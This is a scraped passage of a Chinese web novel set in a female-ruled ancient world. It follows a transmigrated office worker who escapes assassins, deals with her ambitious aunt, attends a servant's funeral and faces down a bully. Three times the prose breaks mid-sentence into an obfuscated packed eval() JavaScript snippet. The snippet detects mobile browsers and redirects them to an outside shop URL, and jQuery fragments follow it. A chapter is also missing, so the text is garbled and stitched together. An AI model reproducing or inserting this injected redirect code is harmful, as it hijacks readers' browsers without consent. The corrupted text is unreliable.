《古代牛马生存实录(女尊)》
1. 第 1 章 好冷。
好冷。
这是闻赋光意识渐渐归拢后的第一个念头。
她一手枕着头,一手摸索被子没摸到,只有一股浓烈的血腥气侵入鼻腔。
思维混沌不堪,她刚结束一场维持了三天的盛大加班,好不容易才回家躺下,为什么床这么硬这么冷?
静止了半晌,闻赋光挣扎着试图睁开沉重的眼皮。
身体一阵阵发麻,下半身几乎没有什么知觉。她的视线渐渐变得清晰,首先看到的是顶上低矮的石壁,闻赋光一头雾水,撑着手臂一点点挪动着,艰难地起身靠坐在石壁上。此刻显然是晚上,好在月光还算明亮,伴随着一阵头昏眼花眼冒金星,她渐渐发现了自己身上发生了什么。她正身处一个陌生的地方,穿着陌生的深色衣服,视线内四周荒无人烟。
再低头一看,一身黑衣湿漉漉地贴在身上。同时,侧腹部传来尖锐的痛意,不用看都知道那里一定是受了伤,而且相当不轻。伤口上乱七八糟地裹着几圈布条,但没绑紧,因此几乎没起到止血作用。血已经大量洇了出来,血腥味就是从这里来的,除了这道最长最狠的伤,四肢上还有大大小小数道较轻的伤。
没想到一睁眼就是这样一幅糟心场景,现在她简直像个亡命之徒。
情况危急,她要想办法自救,再愣着不处理伤口可能就永远都不用处理了。
闻赋光小心地动手拆下绑得十分潦草的绷带,又从里衣上撕下足够长的布条,这时候没条件讲究那么多。她还在身边发现了一瓶敞开的的药粉,塞子散落在不远处。记忆告诉她那是可以止血的金疮药,于是果断撒上药粉并重新绑好。还好她身上的衣服是深色的,染了血也看不出来,否则看着一定很骇人。
咬着牙做完这一切,她也出了一身冷汗,血终于渐渐止住,不像刚才几乎要把金疮药粉冲走。其他的伤较轻,她小心翼翼抹了点药粉就收起来了,这是救命的东西,情况不明,还是省着点用。
处理好伤口,闻赋光注意到手边还有一把匕首,刃窄而薄,身上的伤口不深但创面长,初步可以判定她的伤不是这把匕首害的。拿起来挥一挥,倒是很称手。她身边东西不多,除了武器和药粉之外仅有一个锦囊。闻赋光拿起锦囊捏了捏,里面的东西圆圆的,像个珠子,拿出来一看还会发光,整个石壁都被照得亮堂起来。
奇玩珍宝什么的她只在电视剧里见过,对这些是一窍不通,不过这颗大珠子的价值应该不菲,闻赋光猜测今晚她变成重伤患恐怕这跟东西脱不了干系。哪怕有点怀疑这玩意会不会有辐射,但用她领导的猪脑子想都知道这一定是个重要道具,得好好保护它。
她在这个地方受伤昏迷,已经不知道待了多久,或许随时会被人发现,这不是一个适合安心待着休息的地方,她得尽快离开。
闻赋光收拾好自己身上仅有的这几样物品,决定先去附近找找水源,清理一下自己糊了一手一身的血迹。她运气不错,不多时就找到一条潺潺流水的河流。
这一路走来,她没有在这里见到任何现代化的设施,今夜月光明亮,就着河水,她随便洗了几下手上脸上的血迹。洗干净了往河面上探头一看,脸还是那张脸,但望着手心某些地方多出的一层薄茧,她明白有些事情变了。
闻赋光蹲在河边上,手上胡乱揪着茂盛的杂草,陷入了某种茫然的情绪中,一时不知该如何应对眼前的局面。
虽然受了伤,脑子里也一片混乱,但或许是因为原身习过武,她现在依然耳聪目明。当一些刻意放轻,但因人多而显得杂乱的脚步声出现时,闻赋光还是第一时间听到了。
若是来救她的,这些人没必要静悄悄靠过来,多半是来抓人的。闻赋光强迫自己从那些沉重的情绪中抽出来,她的血迹留在了刚刚的山洞里,那群人迟早会锁定那里,再在周边展开搜寻,她不能留在这坐以待毙,趁那群人还没发现她,必须尽快离开找个安全的藏身之所。
如擂鼓的心跳声中,闻赋光悄悄绕了一圈,伏在几乎一人高的草丛中暗暗关注着这群人的动向,来人不少,可能有十五六个,统一作夜行衣打扮,一手举着火把一手提着刀,除了偶尔做几个简短的手势并不说话,闻赋光努力竖起耳朵也没偷听到什么有用的信息。
失望之余,她突然发现这群人似乎是沿着大路过来的,这陌生的鬼地方她根本不认识路,越是在人少的地方越难藏身,不如就绕到这些人身后,沿着官道往城里方向走,随便找个什么地方凑合一晚上,等白天开了城门就能混进城里去。
她正欲起身离开,动作间伤口不慎被牵动,身体晃了晃,好歹没一头栽下去,这样的情形下,踩中枯枝的脆响显得格外刺耳,顷刻间冷汗打湿了她的后背。缓了缓,她刚想蹑手蹑脚地离开这个是非之地,但情况在瞬息间已经变得更加不妙——有一阵犬吠声由远及近,像支锋利的箭矢撞进了她的耳膜,闻赋光几乎哆嗦了。
跑!
顾不上伤口的痛了,也顾不得动作太大会不会被人发现,她撒腿就跑,不敢耽搁一秒。那些人见狗群有反应,也终于发现了她的行踪,纷纷追了上来,拜汪汪队所赐,他们既然发现了她的踪迹,当然就不需要再放轻声音,此时后面此起彼伏地大喊着让她站住。
谁会傻到真的听话站住啊!闻赋光看电视剧里相同桥段时如此吐槽过。
不过这时候她自己亲自体验上了,倒有些能理解了。
毕竟这么多人在野外参加主题为“她逃她们追她插翅难飞”的大型真人追逐活动,总不能光追着砍一句台词不说吧,那多尴尬!
闻赋光慌得很,身体比大脑更快地行动起来。生死时速中,她更加放空了大脑,只是逃着逃着有一点疑惑逐渐浮上了她的脑海,听声音身后这群人好像都是女人?她是什么身份还需要特意派一群女刺客来杀?很遗憾,这环境里暂时没有好心人肯停下来为她解答。不过,她们始终没有用箭,应该是没佩远程的武器,再跑远点就砍不到她了。
闻赋光不敢停歇,用尽全身所有的力气随时变换着方向跑,不知道跑了多久,跑出去多远,身后似乎已经没什么动静,她壮着胆子转头往回看了一眼,视线内已经不见了那些人和汪汪队的身影。看来她跑得还挺快,成功把人甩开了。今晚已经发生了这个世界上最不科学的事情,她决定不再深入思考两条腿的她为什么能跑得过四条腿的狗。
借着月色泻下的清辉,前方有一座精美的建筑从朦胧中渐渐露出它的全貌。
这座建筑外面的围墙砌得很高,墙漆成了柔和的浅色,顶上铺着五彩的琉璃瓦,在月光下依然熠熠生辉,看形状不像是富贵人家的住宅,更像是座寺庙。
有汪汪队在,她先前打算随便
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16705496|189190||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
找个地方凑合一晚上的计划是不可能实现了,那样迟早会被追踪到的,这光秃秃的野外躲都没地躲,被抓住就死定了。现在只能溜进去赌一把,赌眼前这个地方不是一群身份见不得光的刺客可以随意闯入搜查的。
闻赋光绕到后面,用尽最后的力气攀上墙壁,确定没人在附近看守后,翻过墙璧轻轻跃下。
她贴着墙壁,尽可能地放轻脚步,无头苍蝇似的绕了一圈,误打误撞从四通八达的小通道进到了正殿,抬头只见一尊巨大的神像矗立在殿中。
闻赋光隐藏在帷幔后面伸头去看,这是一尊神情慈爱温和的女神,发髻被金冠高高束起,遍身绫罗,其上刻有各色繁复花纹,一手缠着丝线,一手捧着石榴。
体力精力消耗得差不多了,这地方晚上似乎没人把守,非常静谧。满堂摇曳的灯火供奉映照着女神,衬得她的神情越发令人平静安心。闻赋光在这驻足,让自己喘口气。
是不认识的神像,看这座庙规格相当不低,应该也不是野路子神,闻赋光以前是不信这些的,但她经历过今晚,也没那么确定了。
她低头暗暗祈祷。
这位看起来很慈悲还住在这么华美的宫庙里看起来法力很强的神仙,请你多多照应,在下不求能过上多富贵的日子,只求无灾无祸身体健康,非常无聊毫不刺激地过完这个莫名其妙多出来的一辈子就行。
想想她上辈子,虽然整天当牛做马变身打工皇帝,即使同样被捅刀子,但是领导同事捅的跟拿着刀的杀手捅的能一样吗。一朝穿越,她还不知道能不能活到第二集。
“呜呜。”一边想着,她一边悲从心来,不小心哭了出声。
“什么人?”一道惊疑不定的声音传来。
闻赋光吓了一跳,下意识掏出了匕首。
阴影处站着一名少男,他先前并未出声,她又有些精力不济,因此一时没有发现殿中有人。
见她二话不说反手就是掏刀子,那人身形一僵,一动不动。
两人都被对方吓了一大跳,闻赋光更快反应过来,上前一手用匕挟制住他,为防止他把人引来,还一手捏住了他的嘴,达成了物理意义上的闭嘴。
虽然有些简单粗暴,但方法有用就好。
不过一个逃犯在逃亡路上不小心被别人发现了怎么办?接下来她应该做些什么?一边控制着他,闻赋光陷入了思索。
“你是什么人?”闻赋光把他的嘴松开,改为挟制住他的双手。
被冰冷的匕首抵住喉咙,那少男似乎胆子很小,有一连串眼泪落在她手上。
这什么情况?光哭也不说话,她很吓人吗?
嗯…好像确实有点。
闻赋光不得不伸手在他眼前挥了挥,喂喂提醒他。终于,他回过神来,艰涩地开口:“......我是,是前来庙中供奉的官眷,我姨母是当官的,你......要做什么?”
在这里女人可以当官,闻赋光琢磨着他话中的意思,她还不知道现在是什么年代,不如抓住机会问他一问。
站在在大殿里问话不安全,闻赋光决定找个安全的地方,“这么晚了,你在庙里应该有住的地方,带我去。”闻赋光压了压匕首,只差一点就要碰到那片白皙的脖颈。
那少男顺从地点点头,不敢违抗。
闻赋光满意一笑。
3. 第 3 章
下了马车,闻赋光带着有钱人自愿奉上的金叶子随便找了个小医馆处理过伤口,因看得出她不是一般人,医师很是识时务,见了金叶子一愣,却还是乖乖收下,也不曾多问这伤是怎么来的,省得她费心编造。接着便直奔目的地——她如今的家,闻府。像她这样的小卡拉米干完活要交差,是没资格直接对接王府的,她的上线就在闻家。
好在昨晚梦到了闻家不少事情,否则她今日无处可去。
闻家祖上跟着开国皇帝打天下,也曾富贵过。如今虽然式微了,但祖宅占的这片地不错,地也宽阔,就位置来说算是在京城城西。
原身和她同名同姓,年十八,家里人口简单,双亲已经亡故,除了她自己家里只有她姨母父,还有姨母所生的堂兄妹三人,据说还有一些服侍姨母的小侍们,不过那些人除非年节平时不得随意走动,她很少见到。
大户人家平日没有大事不会开正门,闻赋光喊来门房从角门进了前院,直奔姨母书房而去。
梦中姨母身边有一多年老仆名叫闻忠,据说忠心耿耿,从小伴随闻姨母一起长大,常年伴随姨母身侧的,从前原身来书房都是由她通传,今日倒不见闻忠的身影,另有其他年轻侍从迎上来。
书房中,闻姨母独坐着揉了揉眉心,转头沉沉望着堂外的一方天空,即便有多年阅历沉淀,这时候也不可避免地流露出焦躁不安。
她这个侄女身手好,实在很有成为一柄利刃的潜质,这是她头一回为贵人做事,其他随行的尸首今日早前已经被陆续找到了,只她不在其中,但愿她不会让自己失望。
待人通传闻赋光回府来见她,她这才轻轻松了口气,转瞬间又恢复了在人前的常态。
闻赋光踏进书房,第一次亲眼见到了闻姨母。
她看着四十许,身形清瘦,神色平和亲切地接受了她这位侄女的见礼。原身性格一向沉默内敛,只会闷头做事不善言辞,闻赋光心里知道姨母绝对不是表面上的那样和善好说话,有些庆幸不必与她有太多寒暄,只恭敬将此行的任务——那枚明珠奉上;“姨母,赋光回来迟了,好在顺利将宝物带回。”
闻姨母示意侍立在侧的下人接过明珠,那侍从轻手轻脚接下,转身进了内室,接下来就不是闻赋光要操心的事情了。
三年前闻家老太君过世后,闻姨母丁忧,像她这样的小官没人抬举,即使除了服之后仕途也是很渺茫的。可偏偏闻姨母手段了得攀上了宗室,她的次男即闻家行三的堂弟被贵女看中,抬进府做了侧夫,这一下就把闻姨母的仕途给挽救回来了,做了个五品官。
闻姨母见到明珠后,笑意更是真切几分,亲自上前拉着闻赋光的手,让她坐下,悠然品了口茶道:“护送宝物的一行人竟在城外遭到了劫杀,好在先前安排了你带人前去接应,这回顺利带回寿礼,咱们的辛苦也不算白费。”
“是。”闻赋光怕说错话露馅,干脆不说。
闻姨母知道闻赋光寡言,她此刻心情不错,倒也不计较多说几句教教这个侄女:“随着宗室诸位娘子长成,天家膝下无女又年岁已长,恐怕过不了几年就要从宗室诸女中选贤者立储。娘子身为宗室近亲,又是当今天家的表侄,是被天家看着长大的,且在课业上常得天家的夸奖,自小深受皇恩,因此用尽方法从西洋小国的王室弄到了她们传承的宝物,想借万寿节献给天家,令天家开怀。普天之下,莫非王土,没想到有人连万寿节礼都敢动!你做得很好,想必娘子对咱们家必有赏的。”
闻姨母对这位名讳姜榓的怀王长孙的期望,自然远不止宗室那么简单,闻家上下更是卯足了劲,恨不得扯着嗓子敲锣打鼓宣誓从此唯姜榓马首是瞻。
“姨母过誉,还要多亏姨母举荐,赋光才有为贵人做事的机会。”闻赋光作木讷状,干巴巴说了句场面话,略作停顿又道:“姨母觉得,这些前去劫杀的人是来自......?”
闻姨母指尖轻敲桌面,“除了林阳王还能有谁!她与娘子向来不对付,这次更是在京城外就动起了手,实在可恨!”
梦中回忆怎么像抽卡一样还分角色的,抽不到卡就看不到相关的剧情,昨天晚上她梦中这个林阳王相关的记忆就一点都没出现,闻赋光狠狠提了口气,还好她多问了一句。
“这林阳王行事如此嚣张,莫非得了什么倚仗?”
“说不好,”闻姨母皱了皱眉,沉吟片刻:“大媱旁枝宗室为了不使天家猜忌,从不与勋贵重臣之家通婚,多是挑选富户或普通读书人家,取貌美贤惠而非出身高者。姜栯与娘子一般未娶正夫,府里只纳了些小夫郎,连带父族也是不成气候的家族,明面上姜栯不曾与哪家有过多的往来。不过,林阳王府与天家的血缘比怀王府远不少,或许是有机缘率先产下了长女,自觉赢了娘子一筹,她这才得意忘形。”
闻赋光有点发愁自己会被人记恨,“林阳王府如今气焰正盛,昨夜偷袭未成,也不知是否会迁怒闻家?”
“你昨晚可杀了人没有?”
闻赋光有些垂头丧气,“没有,她们人多,我身边无人,不是对手,就逃走躲了起来,不曾伤到她们。”
“既然如此,二娘,咱们家只是小门小户,对姜栯构不成威胁,虽然她偷袭未成,也不一定就会和闻家不死不休。”闻姨母神色郁郁,“想当年闻家祖上立下从龙之功,是何等风光!烈火烹油,鲜花着锦,姨母幼时听曾祖说那时门房每天都要用斗来装拜帖......如今你和你堂弟定要抓住这个机会,好好辅佐娘子,待来日事成,定要闻家恢复昔年荣光!”
两人谈了许久,闻赋光默默归纳已知信息,当前这两位储君的候选人各有优势:她目前的顶头boss在血缘上离皇帝更近,在皇帝面前刷脸熟的机会也更多,但没有子嗣;对家boss跟皇帝血缘较远,说起来不如自家boss更有继位法理,但已经有了更下一代的继承人,而女嗣对大媱皇室来说至关重要,因此,在这两位宗室女中,若皇帝不表态的话,自家boss还隐隐落在下风。
闻赋光只能在心中暗自苦笑。
姜氏女真的有皇位要继承,为了权势为了皇位打对抗她能理解,可是这跟闻家有什么关系?先不论自家老大会输的可能性,哪怕老大赢了皇位,可又能保证她们闻家一定能分上一杯羹,而不会倒在黎明前的黑暗里?更有万一成了垫脚石又将如何?可这事已经没有转圜的余地,姨母将男儿嫁进怀王府的那一刻开始,闻家就再难抽身了。
听完闻姨母做最后的“咱们一定要给boss好好办事将来一定机会多多的”谈话总结,闻赋光打算告辞了,倒是闻姨母突然想起来了什么似的,嘱咐道:“昨日你带出去的那些人一个都没回来,别人倒也罢了,闻忠的女儿闻实,原本就是在你身边从小跟着你的,本是想跟你出去混个功劳,没成想你们一行人遭了袭,一会你带上抚恤银,亲自去闻忠家里看看。”
闻赋光称是,恭敬退下。
*
民巷狭窄,不容马车通行,闻赋光让车工在巷口等着,独自带着抚恤银步行过去。
闻忠是姨母身边得脸的多年老仆,家中殷实,青砖砌的房子在一众民居中也算是鹤立鸡群,她没有费什么力就找到了民居中挂白的那家。
进门的大堂处已经被布置成了灵堂,闻忠不在,棺木旁只有三道身影坐着哀哀哭泣。
见有人前来拜祭,其中一人迎了上来,是一个稚嫩的童子,怯生生地向来客解释家里的主人闻忠悲痛过度,卧床不起,如今只有闻实的父亲庞氏和夫郎乔氏在这里守着。
闻赋光自然不会介意,亲自点了三炷香祭过。
一旁的庞氏身形发福,嚎哭得面红耳赤,将一旁的乔氏衬得越发清瘦苍白,他眼中无泪,只是神情空洞地跪着,一副心如死灰的样子,看着比庞氏这个父亲还要伤心些,闻赋光只道是这对妻夫从前感情不错。
遵照葬礼的规矩,庞氏和乔氏要向前来吊唁的客人行礼回应,乔氏缓缓弯下腰,额头触地。
闻赋光对大媱的葬礼没什么记忆,但
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16705498|189190||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
刚刚来的路上恶补了一番知识,知道这是礼数,没有打断他。
只是乔氏还没念出主家该说的“有劳挂怀、谢您吊唁”等谢唁词,就忽然脱力,身躯一晃倒了下去,身旁的庞氏脸色一沉,狠狠剜了他几眼,但见闻赋光还在场,也不敢说什么。
闻赋光一愣,乔氏面白如纸,生死不知地倒在地上,见庞氏也没有上前搀扶的意思,心道他是过度悲伤了,她这次过来本来就是为了祭奠帮衬闻忠的,便帮了个忙,将人扶了起来,并打发小童去请大夫,索性给这一家子都诊诊脉。
她有些沮丧,昨晚虽然遭遇险情,但毕竟顺利逃脱了,她没敢细想万一失手,自己会变成什么样。可见到灵堂中躺着的闻实时,不免有些心惊。真正的夺嫡之争不是在屏幕前看人演戏,是踏着重重尸骨溅上无数鲜血的,昨日是闻实,焉知今日会是谁?
闻赋光抿了抿唇,突然意识到与姨母的对话中她并没有过问自己的伤势,哪怕一句。
闻忠家里的气氛实在不适合久留,一顿折腾人仰马翻后,闻赋光留下银子告辞了。
出了大门没走两步,身后突然传来了庞氏破锣嗓子似的饱含怒意又刻意压低了的声音:“你这个不要脸的小倡夫!我儿刚闭上眼,你那作孽的倡*就耐不住了是吧,主家二娘子来你就故意装晕,打量着人家能看上你免得守寡?我呸!丧门星!烂*流脓的货色!也不撒泡尿照照你自己是什么德行!你这辈子就是给我儿守寡的命!若再敢有下次,看我不把你腿打折,送你去落柳巷当小爷去!”
......?
闻赋光满心的彷徨瞬间被这一大串歇斯底里的怒骂声击碎了,她不敢置信地回头看了一眼闻忠家的大门,加快了脚步逃似的离开。
午后的风吹走了残余的暑气,闻赋光坐在车里想了想,发现庞氏骂的那些话她有些没听懂,抱着多了解些这个世界总没坏处的想法,她弯腰从马车厢中钻出来,冲车工笑了笑。又抬手理了理衣襟,故作随意地问起:“老张,刚才我这一路走过来,听到有些街坊邻人说了些闲话,可我没听明白是什么意思。”
车工看着四十左右,面庞手臂因常年拉车晒得有些黑,一双小眼睛极精神地盯着路,闻言笑道:“二娘子不妨说出来是什么话,我老张也好歹活了这把岁数,我给娘子参详参详。”
“我听到了落柳巷,还有小爷之类的话,那是什么意思?”
老张闻言低低笑了一声,闻赋光被她笑得有点发毛,好在她也没打算卖关子,“娘子别听那些人胡说,落柳巷原本是前朝时寻花问柳的地方,如今早没了,不过多年来口耳相传,到了本朝人还都爱管花楼叫落柳巷。小爷原是喊大户人家那些小侍,如今连花楼里的倡伎也叫小爷了。娘子你还年轻不知道,越是名伎,越是一个比一个地会摆架子,要是行首啊,那更是端得跟自个是高门贵男似的,他们......”
见她越说越偏,闻赋光及时打断:“老张,没想到你对这些这么了解,你见识过?”
“嗨哟,娘子别拿我寻开心了,这些话横竖街上的闲人都能说上几句,不当值的时候我们这些老娘们喝茶吹牛,说着玩的。”
闻赋光若有所思地点点头,随后又提出新的疑问:“我听那些人说的好像是闻实的夫郎,男人当了寡夫就会被送到落柳巷里吗?”
老张干笑两声:“那倒不是,不守夫道的男人才会被送到落柳巷去呢,寻常寡夫只要能守住,自然不会被人为难。”
闻赋光不解,“不能再嫁吗?”
老张啧地一声,拍上大腿,“嫁是能嫁,官府也没说不许,可大家伙都说这样的男人克妻呢,谁还敢要?何况生为男子,从一而终才是正理。讲究些体面的人家,是不肯让自家寡居的男郎们再嫁的。”
“原来如此,我年轻见识少,竟连这些都不晓得。”
那就真心祝愿乔氏不会被卖掉吧。
两人一路说着,马车已行至大街上,闻赋光命车工自行赶车回府,自己跳下了车。
4. 第 4 章
闻赋光是从自己屋里取了银子出来的。
大媱富贵人家不兴给未婚的娘子们配太多伺候的仆从,用天家的话来说就是捧着惯着的,生生把个好好的娘子养成四体不勤的废物,因此上行下效,闻家当然不会搞特殊,她院子里也就两三个做粗活的小仆,身边贴身的侍从从前只有闻实一个,如今也没了。
现在她身边就她自己,就算她在屋里翻箱倒柜,找不到银两在哪也没人知道,更没人怀疑,还好最后误打误撞找到了些许。
京中茶馆酒楼林立,要说其中最有名的,那当然是闻赋光此时正坐着的广贤楼。
很久以前,广贤楼还不叫广贤楼,那时候它只是一个无名小摊子,传说曾有宫中贵人微服私访,见小小的摊上坐满了食客,一时兴起想要与民同乐,便恰巧与一位书生拼了桌,她见书生神采焕发,有意攀谈,二人谈得非常投机,后来当年殿试时皇帝亲自出题,选中的状元娘正是这位小摊上拼桌的书生。这桩巧事一时被传为君臣美谈,从此想要入仕的读书人们蜂拥而至,这摊主也一并得道,自那以后把这生意越做越大,直到做成了京城第一楼。
上百年来,这座楼就这样矗立在此,迎接着熙熙攘攘的客流。
广贤楼不愧是京城第一楼,闻赋光看着菜谱心里纳闷,楼中菜名都文绉绉的,写得云里雾里,什么青灯素锦,霁雪濯莲,有些还夹杂着几个复杂的繁体字,她压根没看懂。这时候的菜谱也不像后世那样还带菜品图片,因此她随手胡乱指了几个,便坐在二楼雅间中喝着茶等上菜。
广贤楼久负盛名,除了消费高,装潢也是符合其名气的豪华,桌椅皆是贵重的梨花木,另有绣工出色的屏风、帷幔等装饰在屋内各处。若非如此,恐怕也不能讨得京城这些达官贵人的欢心。
很快来了一名抱着琵琶的男子,他亭亭袅袅地进了雅间,又顾盼生姿地冲她行了个在闻赋光看来是抛媚眼的礼,便自顾自坐下弹起了曲子。
闻赋光有些不明所以,暗暗猜测是酒楼给雅间客人送的附加服务,让客人可边享用美食边欣赏乐曲。
那琵琶男技艺确实超高,如水葱的纤纤玉指在弦间纷飞,流淌出雅致的情调。他一连弹了几首,闻赋光边欣赏边很有耐心地等待上菜,却迟迟没等到,见眼前的乐人还在弹,不免有些焦躁。
好不容易那乐人弹罢,施施然行个礼走了,菜还是没上。
闻赋光等不下去了,她身边没带人,走出雅间打算亲自找小厮问问。
同一时刻,广贤楼另一间雅间里,肖从晗起身垂眸屈膝,从怀中取出一叠纸递上前:“衙内,这就是我,小男子这些日子里所作的粗浅诗文,您请过目。”
对面被称为衙内的富态女子一身绫罗,一双眯眯眼随意掠过诗稿,那叠纸显而易见的粗糙灰黄,又厚薄不均,字迹应该是尚可,只是写在劣质的纸张上也令人失去了探究欲。
她目光一路扫过,径直停在肖从晗面上,他眉眼间带着些许窘迫,身着一袭半新不旧的素色衣衫,料子尚可,还是细棉,其上只绣了稀疏的竹纹,看着像是他压箱底的好衣服。
衙内闻言,假意端起茶盏抿了口茶,手中盘着两颗油亮的核桃,“肖公子,本小姐今日眼睛有些疼,看不得字画。”
“不知衙内身体不适,是我之过,”肖从晗强行挤出笑容应付:“若有小男子能为衙内做的事,愿为衙内分忧。”
“肖公子如此体贴,真是个可心人,这诗稿,不如请公子亲自读给我听。”话中“亲自”两个字加重了语气,衙内笑得极为不怀好意,还轻浮地冲他眨了眨眼。
肖从晗面色僵硬,嫌恶和屈辱沿着脊梁骨往上爬,他屏了两息,缓缓拿起诗稿,刚要开始念,却被衙内抬手打断,“肖公子,凑近些,今日本小姐的耳朵也不太好......”见她故作亲热状,伸手就要触碰到他,肖从晗下意识地后退了两步。
手上落了空,衙内没有错过他眼中那抹来不及掩饰的鄙夷,一时怒上心头,起身上前就是两巴掌,那张白皙的脸上刹时红肿了起来。
肖从晗眼前一花,耳中嗡鸣,反应过来时已经倒在了地上,手中还紧紧攥着那叠诗稿,手指骨节泛白。
先前强压的羞愤与隐忍此时几乎要不管不顾地倾泻出来,他心知自己没有与眼前人抗衡的能力,踉跄着起身,几乎是逃似的冲出了雅间,门外侍立的几个下人不知道该不该去追,往里头瞧她们主子的脸色。
闻赋光沿着廊下往前走,眼神四处寻找着伙计的身影。行过转角时,突然有一道身影冲了过来,那人脚步又快又急,闻赋光来不及避让,与来人径直撞了个满怀。
闻赋光及时稳住,倒是那冲过来的男子,顺着力道一屁股跌坐在了地上,闻赋光定睛一看,地上还散落着一些写了字的纸张。
见他形容狼狈,闻赋光懒得计较,随手帮他将纸张拾了起来,那人垂着头接过,低低地道了声谢,转头下楼去了。
这时候另有一群人走了过来,领头的女人脸色阴沉,看起来颇为不善,身旁的几个家丁神色惶恐,有几个似乎还挨了打。
这群人在后头将刚才的情景尽收眼底,几个家丁悄悄睨了一眼主子的神色,其中一人率先发难,朝她挥了挥拳,张口就是颠倒黑白:“你爹没教你走路啊?眼睛瞎了不成?直愣愣往肖公子身上撞?活腻歪了?”
此时闻赋光身上还穿着从庙中强占来的那身衣服,她见花纹素净正适合吊唁,没换衣服直接去了闻忠家里,也没戴任何装饰,虽然这身衣服料子很好,但并不显眼,看起来像是只比寻常人家好那么一点的小户。
简而言之就是,在面前这些人眼里,她看着很好欺负。
出门在外要解决偶遇的恶霸,这是作为主角的必修课,她懂。
面前这群人流露出蠢蠢欲动的挑衅,似乎只要她敢反驳,她们就会立马抓住她痛殴一顿,给自己主子撒气。
一楼大堂有不少食客,此时已经被二楼走廊上的喧哗声吸引过目光,窃窃私语着什么。闻赋光悄悄听了一耳朵,似乎也并不是多大的人物。仗着有武力傍身,她胆大包天地嗤笑一声,冲她们翻了个白眼。
眼前人跋扈惯了,见她没有认怂,先前被那男子气出的怒火更盛,转头就冲自己身边的家丁吼道:“你们都是死人吗?给老娘上!我要把这不知道天高地厚的贱民关进大牢里!”
身旁的家丁们显然不是第一回干欺女霸男的事了,一个个熟练得很,撸起袖子就要围过来。
闻赋光早就料到她们的反应,手中轻轻一动,一柄匕首出现在三人眼前,“我倒想听听,你有什么能耐能把我抓进大牢?”
看着闻赋光利落出手的动作,和眼前开过刃的锋利凶器,凶神恶煞的家丁们脚步一顿,那女子嚣张的嘴脸僵了僵,瞥见家丁们畏缩的样子,深感丢人,硬撑着嚷嚷:“你敢动我?我娘可是刑部员外!本小姐要把你关进牢里去吃几天苦头,比踩死只蚂蚁还容易!”
她嘴上不饶人,脚下却已经悄悄退了半步,身旁的家丁壮着胆子继续围上来,闻赋光手腕一转,还没人看清她的动作,刀背就已经重重砸在最前头的家丁肩上,那家丁一时吃痛,整条手臂瞬间发麻,惊呼一声,整个人踉跄着后退,走道狭窄,闻赋光如法炮制,领头的几个人被掀翻在地,顺势带倒了一片,一时间再没人敢上前来。
“再敢说废话,砍上来的就不是刀背了。”
眼看这是碰上硬茬了,见讨不着好,那女子自觉丢份,倒也能屈能伸,黑着脸带着家丁灰溜溜地离开。
望着这群人狼狈逃出酒楼的身影,周遭食客的议论声骤然变大。
胜利结算画面,闻赋光心态极佳地坐回到雅间里,还是没放弃要在这间酒楼里吃上一顿。
小厮颤巍巍地过来上茶,她淡淡颌首道了声谢,转而询问起上菜的事。
那小厮被刚刚的场面所慑,说话也吞吞吐吐起来,道是她点的那些都不
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16705499|189190||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
是菜,而是琵琶曲。
......行。
重新点过,这次都是小厮力荐的招牌菜,吃着不错,不过其中有些调料香料和食材似乎不是古代该出现的,但大媱是个架空的朝代,她不必深究这些东西为什么会出现在大媱人民的餐桌上,还要庆幸,要真的穿到食材匮乏的时代,以她的挑食程度可能会被饿死。
酒饱饭足,闻赋光慢悠悠地踱步走出酒楼消食,这时节京城已经褪去炎热,微微的秋风拂面而来,凉爽舒适。
大媱的读书风气还算浓厚,她一路晃荡着路过了好几家书坊,念及自己如今的文化水平,觉得不认识字也不是办法,转头进了其中店面最大的一家。
日头照着书坊上龙飞凤舞的“崇文馆”三字匾额,下面是雕花的门楣,门口还立着木牌,上面大概是写着新印了什么科考相关的书,被闻赋光不感兴趣地略过。
跨入书坊,三面皆是直抵天花板的木制书架,架子上整齐地码着线装书,闻赋光随手拿起一本翻了翻,纸质尚可,这里跟后世的大型书店看着也没什么不同。
正值饭点,书坊里没什么人,一人打着算盘正盘账,一人踮着脚在整理书架,伙计见有客来便招呼道:“客官,想寻什么书?”
“我先自己看看。”
“得嘞,您请自便。”
她缓步穿梭在书架之间,架上摆得最多的像是科考相关的注释书,但她不打算为难自己,她没上过这个时代的学,记忆又有缺失,读书人都是从小开蒙,自小就把这些书读了十几二十年,她一个外来户走这条路太不值得。
除此以外,还有不少工具书与话本、游记、算法书等分门别类放得很整齐,可以说是百花齐放,看来大媱读书人的精神世界还算丰富。
闻赋光兜了两圈又转悠到柜台,问道:“掌柜的,你们这里可有文字浅易懂的书册?”
“自然是有的,不知您是为谁购置?”掌柜打扮的中年妇人面貌端庄,说话温和,令人心生好感。
